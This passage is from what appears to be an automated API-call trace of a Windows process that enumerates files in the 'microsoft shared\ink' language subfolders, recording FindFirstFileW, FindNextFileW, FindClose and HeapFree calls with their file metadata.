ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x8952f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x8952f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.600] FindClose (in: hFindFile=0x8952f8 | out: hFindFile=0x8952f8) returned 1 [0148.600] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0148.600] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ru-RU\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894eb8 [0148.600] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.600] FindNextFileW (in: hFindFile=0x894eb8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.600] FindClose (in: hFindFile=0x894eb8 | out: hFindFile=0x894eb8) returned 1 [0148.607] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.607] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0148.608] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0148.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sk-SK\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8951f8 [0148.608] FindNextFileW (in: hFindFile=0x8951f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.608] FindNextFileW (in: hFindFile=0x8951f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.608] FindNextFileW (in: hFindFile=0x8951f8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.608] FindClose (in: hFindFile=0x8951f8 | out: hFindFile=0x8951f8) returned 1 [0148.608] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.608] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0148.608] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sl-SI\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894ff8 [0148.609] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.609] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.609] FindNextFileW (in: hFindFile=0x894ff8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.609] FindClose (in: hFindFile=0x894ff8 | out: hFindFile=0x894ff8) returned 1 [0148.609] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.609] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0148.610] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sr-Latn-RS\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8955b8 [0148.610] FindNextFileW (in: hFindFile=0x8955b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.610] FindNextFileW (in: hFindFile=0x8955b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.610] FindNextFileW (in: hFindFile=0x8955b8, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e933091, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e933091, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e933091, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.610] FindClose (in: hFindFile=0x8955b8 | out: hFindFile=0x8955b8) returned 1 [0148.610] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.610] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0148.611] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\sv-SE\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x895038 [0148.611] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x895038, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3af7a2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3af7a2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3af7a2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.611] FindClose (in: hFindFile=0x895038 | out: hFindFile=0x895038) returned 1 [0148.611] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x779da8e5, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x3e9600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x5f780, dwReserved0=0x0, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1 [0148.611] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0148.612] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x894f38 [0148.612] FindNextFileW (in: hFindFile=0x894f38, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c8602, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.612] FindNextFileW (in: hFindFile=0x894f38, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.612] FindNextFileW (in: hFindFile=0x894f38, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.612] FindClose (in: hFindFile=0x894f38 | out: hFindFile=0x894f38) returned 1 [0148.612] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x44f0068 | out: hHeap=0x23a0000) returned 1 [0148.612] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x109400, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll", cAlternateFileName="")) returned 1 [0148.612] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll", cAlternateFileName="")) returned 1 [0148.612] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79680792, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x79680792, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x79680792, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x101200, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipskins.dll", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7965a52d, ftCreationTime.dwHighDateTime=0x1d32794, ftLastAccessTime.dwLowDateTime=0x7965a52d, ftLastAccessTime.dwHighDateTime=0x1d32794, ftLastWriteTime.dwLowDateTime=0x7965a52d, ftLastWriteTime.dwHighDateTime=0x1d32794, nFileSizeHigh=0x0, nFileSizeLow=0x9e1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tiptsf.dll", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x6ebfe576, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x17a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tpcps.dll", cAlternateFileName="")) returned 1 [0148.613] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c896f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, 